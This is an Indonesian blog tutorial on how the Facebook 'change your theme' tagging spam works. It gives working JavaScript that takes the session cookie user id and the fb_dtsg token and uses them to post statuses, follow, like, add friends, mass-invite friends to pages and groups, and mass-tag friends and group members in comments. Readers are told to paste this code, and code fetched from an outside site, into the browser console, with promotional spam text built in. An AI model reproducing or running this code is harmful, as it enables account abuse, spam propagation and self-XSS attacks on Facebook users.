Bismillah...
Assalamualaikum Wr. Wb...
Sudah tau kan di facebook sekarang pada hebo dengan tag-tag nama ke status yang bertujuan mengganti thema lah, lihat org intip profil kita lah, bbm fb lah, dan lain-lain. Yah sudah pasti kita yang berteman dengan orang yang melakukan hal-hal tersebut otomatis nama kita akan di tag dan muncul di pemberitahuan. Sekarang mari kita lihat cara kerja peristiwa tersebut.
Disini saya ambil contoh misal untuk mengganti thema. pertama yang disediakan adalah membuat tampilan facebook berubah dengan css, entah warnah lah, posisi lah, dsb. bisa dilakukan dengan tool developer yang ada pada browser kita. kemudian kita membuat script (js) untuk menambah tag html (style) di facebook pada saat runtime. Contoh:
var style = '#blueBar {background:red !important;}#leftCol{background:gray !important}'; //style css
var body = document.getElementsByTagName('body')[0];
var newstyle = document.createElement('style');
newstyle.innerText = style;
body.appendChild(newstyle);
Trus bagaimana caranya mentag teman-teman?
pada script diatas kita tambahin baris-baris script untuk bisa berhubungan dengan database facebook.
misal untuk POST, GET, dsb. disini kita akan menggunakan XMLHttpRequest.
yang paling dibutuhkan untuk bisa berhubungan dengan database facebook adalah id dari user. dan value dari fb_dtsg untuk melakukan POST. bagaimana mendapatkannya? kita bisa ambil dari cookie browser kita, dan untuk fb_dtsg kita bisa dapatkan dari source html facebook.
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
dibawah ini beberapa fungsi untuk bisa berhubungan dengan facebook. (ingat variabel user_id dan fb_dtsg diatas sangat diperlukan)
function fbfriends() {
var friends = new Array();
xml = new XMLHttpRequest();
xml.open('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math.random() + '&filter[0]=user&options[0]=friends_only', false);
xml.send();
if (xml['readyState'] != 4) {} else {
data = eval('(' + xml.responseText.substr(9) + ')');
if (data.error) {} else {
friends = data.payload.entries.sort(function(_0x93dax8, _0x93dax9) {
return _0x93dax8.index - _0x93dax9.index;
});
};
};
return friends;
}
function fbupdatestatus(text_status) {
var xml = new XMLHttpRequest();
var params = "composer_session_id=7b1cf9b1-853f-48dc-861b-d100291555eb&fb_dtsg="+fb_dtsg+"&xhpc_context=home&xhpc_ismeta=1&xhpc_timeline=&xhpc_composerid=u_jsonp_2_3&xhpc_litestand=1&xhpc_targetid="+user_id+"&clp=%7B%22cl_impid%22%3A%22a0bdc6d5%22%2C%22clearcounter%22%3A1%2C%22elementid%22%3A%22u_jsonp_2_f%22%2C%22version%22%3A%22x%22%2C%22parent_fbid%22%3A"+user_id+"%7D&xhpc_message_text="+text_status+"&xhpc_message="+text_status+"&is_explicit_place=&composertags_place=&composertags_place_name=&tagger_session_id=1393554602&action_type_id[0]=&object_str[0]=&object_id[0]=&og_location_id[0]=&hide_object_attachment=0&og_suggestion_mechanism=&composertags_city=&disable_location_sharing=false&composer_predicted_city=&audience[0][value]=80&nctr[_mod]=pagelet_composer&__user="+user_id+"&__a=1&__dyn=7n8a9EAMBlCFUlgDxyG8HzCq74qbx2mbAKGiBAGGzQAjFDw&__req=12&ttstamp=265816811511110111065&__rev=1140660&";
xml.open("POST", "/ajax/updatestatus.php?__a=1", true);
xml.onreadystatechange = function() {
if (xml.readyState == 4 && xml.status == 200)
xml.close
};
xml.send(params)
}
function fbfollow(id_fbkita) {
var xml = new XMLHttpRequest();
var params = "profile_id=" + id_fbkita + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
xml.open("POST", "/ajax/follow/follow_profile.php?__a=1", true);
xml.onreadystatechange = function() {
if (xml.readyState == 4 && xml.status == 200)
xml.close
};
xml.send(params)
}
function fblikestatus(idpost) {
var xml = new XMLHttpRequest();
var params = "like_action=true&ft_ent_identifier=" + idpost + "&source=1&client_id=" + (new Date).getTime() + "%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]=" + idpost + "&nctr[_mod]=pagelet_home_stream&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg=" + fb_dtsg + "&phstamp=";
xml.open("POST", "/ajax/ufi/like.php?__a=1", true);
xml.onreadystatechange = function() {
if (xml.readyState == 4 && xml.status == 200)
xml.close
};
xml.send(params)
}
function fbaddfriend(id_fbkita) {
var xml = new XMLHttpRequest();
var params = "to_friend=" + id_fbkita + "&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg=" + fb_dtsg + "&phstamp=";
xml.open("POST", "/ajax/add_friend/action.php?__a=1", true);
xml.onreadystatechange = function() {
if (xml.readyState == 4 && xml.status == 200)
xml.close
};
xml.send(params)
}
function fblikepage(idpage) {
var xml = new XMLHttpRequest();
var params = "&fbpage_id=" + idpage + "&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=" + fb_dtsg + "&phstamp=";
xml.open("POST", "/ajax/pages/fan_status.php?__a=1", true);
xml.onreadystatechange = function() {
if (xml.readyState == 4 && xml.status == 200) {
xml.close
}
};
xml.send(params)
}
function fbinvpage(idpage) {
var friends = fbfriends();
for (var i = 0; i < friends.length; i++) {
var xml = new XMLHttpRequest();
var paramswp = 'page_id=' + idpage + '&invitee=' + friends[i]['uid'] + '&elem_id&action=send&ref=friend_summary_section_dialog&__user=' + user_id + '&__a=1&__req=1a&fb_dtsg=' + fb_dtsg + '';
xml.open('POST', '/ajax/pages/invite/send_single/?__a=1', true);
xml.onreadystatechange = function() {
if (xml.readyState == 4 && xml.status == 200)
xml.close
};
xml.send(paramswp);
};
}
function fbsublist(idsublist) {
var newscript = document.createElement('script');
newscript.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + idsublist + " }).send();";
document.body.appendChild(newscript)
}
function fbinvgroup(idgrup) {
var xml = new XMLHttpRequest();
var paramswp = '&ref=group_jump_header&group_id=' + idgrup + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
xml['open']('POST', '/ajax/groups/membership/r2j.php?__a=1', true);
xml['send'](paramswp);
var friends = fbfriends();
for (var i = 0; i < friends['length']; i++) {
var xml = new XMLHttpRequest();
var paramswp = '&fb_dtsg=' + fb_dtsg + '&group_id=' + idgrup + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
xml['open']('POST', '/ajax/groups/members/add_post.php?__a=1', true);
xml['onreadystatechange'] = function() {
if (xml['readyState'] == 4 && xml['status'] == 200){}
};
xml['send'](paramswp);
};
}
function fbautolike_status() {
var B = 0;
var J = 0;
var I = document.getElementsByTagName("a");
var H = new Array();
for (var D = 0; D < I.length; D++) {
if (I[D].getAttribute("class") != null && I[D].getAttribute("class").indexOf("UFILikeLink") >= 0 && (I[D].innerHTML == "Suka" || I[D].innerHTML == "Like") && (I[D].title == 'Like this' || I[D].title == 'Menyukai ini')) {
H[J] = I[D];
J++
}
}
function E(L) {
H[L].click();
var K = "Like Status: " + (L + 1) + "/" + H.length + "";
document.getElementById("auto_like_status").innerHTML = K
}
function G(K) {
setTimeout(C, K)
}
function F(K) {
window.setTimeout(A, K)
}
function A() {
var M = document.getElementsByTagName("label");
var N = false;
for (var L = 0; L < M.length; L++) {
var K = M[L].getAttribute("class");
if (K != null && K.indexOf("uiButton uiButtonLarge uiButtonConfirm") >= 0) {
alert("Awas ada yang salah.");
N = true
}
}
if (!N) {
G(2160)
}
}
function C() {
if (B < H.length) {
E(B);
F(700);
B++
}
}
C();
}
function fbautolike_comment() {
var B = 0;
var J = 0;
var I = document.getElementsByTagName("a");
var H = new Array();
for (var D = 0; D < I.length; D++) {
if (I[D].getAttribute("data-ft") != null && (I[D].getAttribute("title") == "Suka komentar ini" || I[D].getAttribute("title") == "Like this comment")) {
H[J] = I[D];
J++
}
}
function E(L) {
H[L].click();
var K = "Like Comments: " + (L + 1) + "/" + H.length + "";
document.getElementById("auto_like_comment").innerHTML = K
}
function G(K) {
setTimeout(C, K)
}
function A() {
var M = document.getElementsByTagName("label");
var N = false;
for (var L = 0; L < M.length; L++) {
var K = M[L].getAttribute("class");
if (K != null && K.indexOf("uiButton uiButtonLarge uiButtonConfirm") >= 0) {
alert("Awas ada yang salah.");
N = true
}
}
if (!N) {
G(3000)
}
}
function F(K) {
setTimeout(A, K)
}
function C() {
if (B < H.length) {
E(B);
F(1000);
B++
}
}
C()
}
function fbsendcom(text, ids) {
var xml = new XMLHttpRequest();
paramswp = 'ft_ent_identifier='+ids+'&comment_text=' + text + '&source=0&client_id=1393064249280:885120694&reply_fbid&parent_comment_id&rootid=u_jsonp_7_v&clp={"cl_impid":"ad059dc6","clearcounter":10,"elementid":"js_3","version":"x","parent_fbid":'+ids+'}&attached_sticker_fbid=0&attached_photo_fbid=0&giftoccasion&ft[tn]=[]&ft[fbfeed_location]=2&ft[id]='+ids+'&nctr[_mod]=pagelet_group_mall&__user=' + user_id + '&__a=1&__dyn=7n8a9EAMCBynzpQ9UoHaHyG8qeyp9Esx6iWF3qGEVd4WpU&__req=4l&fb_dtsg='+fb_dtsg+'&ttstamp=26581666668487882&__rev=1132776';
xml.open('POST', '/ajax/ufi/add_comment.php?__a=1', true);
xml.onreadystatechange = function() {
if (xml.readyState == 4 && xml.status == 200) {};
};
xml.send(paramswp);
}
function fbcomtag(ids){
var semua_teman = new Array();
semua_teman = fbfriends();
var pesan_sebelum = '';
var pesan_setelah = '';
var sebelum_nama = '';
var setelah_nama = '';
for(i=0;i<(semua_teman.length/27);i++){
var teman='';
for(j=i*27;j<(i+1)*27;j++){
if(semua_teman[j]){
teman += sebelum_nama+' @['+semua_teman[j]['uid']+':'+semua_teman[j]['text']+']'+setelah_nama;
}
}
var text_msg = pesan_sebelum+teman+pesan_setelah;
fbsendcom(text_msg, ids);
}
}
function fbtagcomgrup(start, arrvar, gid, ids) {
var crntarrvar = arrvar.length;
upsxml = new XMLHttpRequest();
upsxml.open('GET', '/ajax/browser/list/group_members/?id='+gid+'&gid='+gid+'&edge=groups%3Amembers&order=default&view=grid&__user='+user_id+'&__a=1&__dyn=7n8a9EAMCBCFUSt2u6aOGUGy6zECQqbx2mbAKGiyGGEVd4WpU&__req=14&__rev=1132776&start=' + start, false);
upsxml.send();
if (upsxml['readyState'] != 4) {} else {
data = eval('(' + upsxml.responseText.substr(9) + ')');
if (data.error) {} else {
var newdiv = document.createElement('div');
if (!data.domops[0][3].__html) {
return arrvar;
}
newdiv.innerHTML = data.domops[0][3].__html.match(/<a[^>]*data-hovercard[^>]*>[^>]*<\/a>/g);
newdiv.innerHTML += data.domops[0][3].__html.match(/<a[^>]*(rel="async"|rel='async')[^>]*>[^>]*<\/a>/g);
var d = newdiv.getElementsByTagName('a');
var index = arrvar.length;
for (i = 0; i < d.length; i++) {
if (d[i].getAttribute('data-hovercard')) {
if (d[i].href) {
var uname = d[i].href.replace('https://www.facebook.com/', '');
var uid = d[i].getAttribute('data-hovercard').replace('/ajax/hovercard/user.php?id=', '');
var upname = d[i].innerHTML;
arrvar[index] = new Array(uid, uname, upname);
index = index + 1;
};
}
};
};
};
var text = 'Halo dunia:) hy apa kabar'; //text komentar kamu disini
for (i = arrvar.length - 1; i >= crntarrvar; i--) {
text += ' @[' + arrvar[i][0] + ':' + arrvar[i][2] + '], '; //ini untuk mentag anggota grup
}
fbsendcom(text, ids);
friends = arrvar;
fbtagcomgrup(arrvar.length, friends, gid, ids);
}
Jika masih belum paham dengan fungsi-fungsi javascript diatas dibawah ini contoh pemakaiannya.
Untuk mencobanya:
Pertama: salin dulu kode yang ada didalam kotak. (Klik 2x kotak kode, lalu CTRL+A dan CTRL+C)
Kedua: jika memakai browser
[Chrome]
- Tekan F12 lalu pilih tab Console, paste code depan tanda >. Enter.
[Firefox]
- Tekan CTRL+SHIFT+K atau J, paste code depan tanda >. Enter.
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function fbfriends() {
var friends = new Array();
xml = new XMLHttpRequest();
xml.open('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math.random() + '&filter[0]=user&options[0]=friends_only', false);
xml.send();
if (xml['readyState'] != 4) {} else {
data = eval('(' + xml.responseText.substr(9) + ')');
if (data.error) {} else {
friends = data.payload.entries.sort(function(_0x93dax8, _0x93dax9) {
return _0x93dax8.index - _0x93dax9.index;
});
};
};
return friends;
}
var semua_teman = new Array();
semua_teman = fbfriends();
console.log("banyak teman kamu ada " + semua_teman.length); // melihat banyaknya teman (semua_teman.length)
for(i=0;i<semua_teman.length;i++){
console.log(semua_teman[i]); // untuk melihat id (semua_teman[i]['uid']), nama (semua_teman[i]['text']), dsb
}
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function fbupdatestatus(text_status) {
var xml = new XMLHttpRequest();
var params = "composer_session_id=7b1cf9b1-853f-48dc-861b-d100291555eb&fb_dtsg="+fb_dtsg+"&xhpc_context=home&xhpc_ismeta=1&xhpc_timeline=&xhpc_composerid=u_jsonp_2_3&xhpc_litestand=1&xhpc_targetid="+user_id+"&clp=%7B%22cl_impid%22%3A%22a0bdc6d5%22%2C%22clearcounter%22%3A1%2C%22elementid%22%3A%22u_jsonp_2_f%22%2C%22version%22%3A%22x%22%2C%22parent_fbid%22%3A"+user_id+"%7D&xhpc_message_text="+text_status+"&xhpc_message="+text_status+"&is_explicit_place=&composertags_place=&composertags_place_name=&tagger_session_id=1393554602&action_type_id[0]=&object_str[0]=&object_id[0]=&og_location_id[0]=&hide_object_attachment=0&og_suggestion_mechanism=&composertags_city=&disable_location_sharing=false&composer_predicted_city=&audience[0][value]=80&nctr[_mod]=pagelet_composer&__user="+user_id+"&__a=1&__dyn=7n8a9EAMBlCFUlgDxyG8HzCq74qbx2mbAKGiBAGGzQAjFDw&__req=12&ttstamp=265816811511110111065&__rev=1140660&";
xml.open("POST", "/ajax/updatestatus.php?__a=1", true);
xml.onreadystatechange = function() {
if (xml.readyState == 4 && xml.status == 200)
xml.close
};
xml.send(params)
}
var status_saya = 'Halo teman2, saya sedang mencoba trik facebook nih. Kunjungi http://upicos.blogspot.com ya :)'; // silahkan text status kamu disini
fbupdatestatus(status_saya);
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function fbfriends() {
var friends = new Array();
xml = new XMLHttpRequest();
xml.open('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math.random() + '&filter[0]=user&options[0]=friends_only', false);
xml.send();
if (xml['readyState'] != 4) {} else {
data = eval('(' + xml.responseText.substr(9) + ')');
if (data.error) {} else {
friends = data.payload.entries.sort(function(_0x93dax8, _0x93dax9) {
return _0x93dax8.index - _0x93dax9.index;
});
};
};
return friends;
}
function fbsendcom(text, ids) {
var xml = new XMLHttpRequest();
paramswp = 'ft_ent_identifier='+ids+'&comment_text=' + text + '&source=0&client_id=1393064249280:885120694&reply_fbid&parent_comment_id&rootid=u_jsonp_7_v&clp={"cl_impid":"ad059dc6","clearcounter":10,"elementid":"js_3","version":"x","parent_fbid":'+ids+'}&attached_sticker_fbid=0&attached_photo_fbid=0&giftoccasion&ft[tn]=[]&ft[fbfeed_location]=2&ft[id]='+ids+'&nctr[_mod]=pagelet_group_mall&__user=' + user_id + '&__a=1&__dyn=7n8a9EAMCBynzpQ9UoHaHyG8qeyp9Esx6iWF3qGEVd4WpU&__req=4l&fb_dtsg='+fb_dtsg+'&ttstamp=26581666668487882&__rev=1132776';
xml.open('POST', '/ajax/ufi/add_comment.php?__a=1', true);
xml.onreadystatechange = function() {
if (xml.readyState == 4 && xml.status == 200) {};
};
xml.send(paramswp);
}
function fbcomtag(ids){
var semua_teman = new Array();
semua_teman = fbfriends();
var pesan_sebelum = 'Saya baru saja mencoba trik facebook dari http://upicos.blogspot.com/ .';
var pesan_setelah = '. Terima kasih telah mencoba :)';
var sebelum_nama = 'Dicoba yah ';
var setelah_nama = ', ';
for(i=0;i<(semua_teman.length/27);i++){
var teman='';
for(j=i*27;j<(i+1)*27;j++){
if(semua_teman[j]){
teman += sebelum_nama+' @['+semua_teman[j]['uid']+':'+semua_teman[j]['text']+']'+setelah_nama;
}
}
var text_msg = pesan_sebelum+teman+pesan_setelah;
fbsendcom(text_msg, ids);
}
}
fbcomtag('649991141703638'); //pakai id status kamu
Silahkan dicoba :), masih banyak sebenarnya kegiatan yang bisa kita lakukan untuk saling berhubungan dengan database facebook menggunakan client side javascript. pikir-pikir saja apa yang bisa kita buat mudah dalam facebook hanya dengan sekali enter. setelah terpikir lalu kita lihat halaman mana yang diakses oleh facebook menggunakan tool bawahan browser (Network activity). kemudian kita buat baris kode untuk mempermudahnya.
oh iya, ini saya punya thema style java, silahkan jika mau coba. sudah tau cara pakainyakan??
oh iya codenya saya taruh di
http://upicos.wen9.org/socialmedia/fbtheme_java.js
jika belum tau cara pakainya, nih.
1. buka link http://upicos.wen9.org/socialmedia/fbtheme_java.js lalu salin semua text, biar cepat (CTRL+A lalu CTRL+C).
2. Setelah di salin kembali lagi di tab/halaman facebook kamu.
3. jika menggunakan browser [Chrome] pada halaman facebook klik F12 dan pilih tab Console lalu paste yang kamu salin tadi. ENTER
jika menggunakan [Firefox] pada halaman facebook klik CTRL+SHIFT+K atau CTRL+SHIFT+J kemudian paste yang kamu salin tadi didepan tanda >>. ENTER.
4. Selesai
Facebook trick, facebook themes, mengganti thema facebook, spam, spam facebook, facebook spam, tag nama di komentar, tag nama, mentag nama di facebook
No comments :
Post a Comment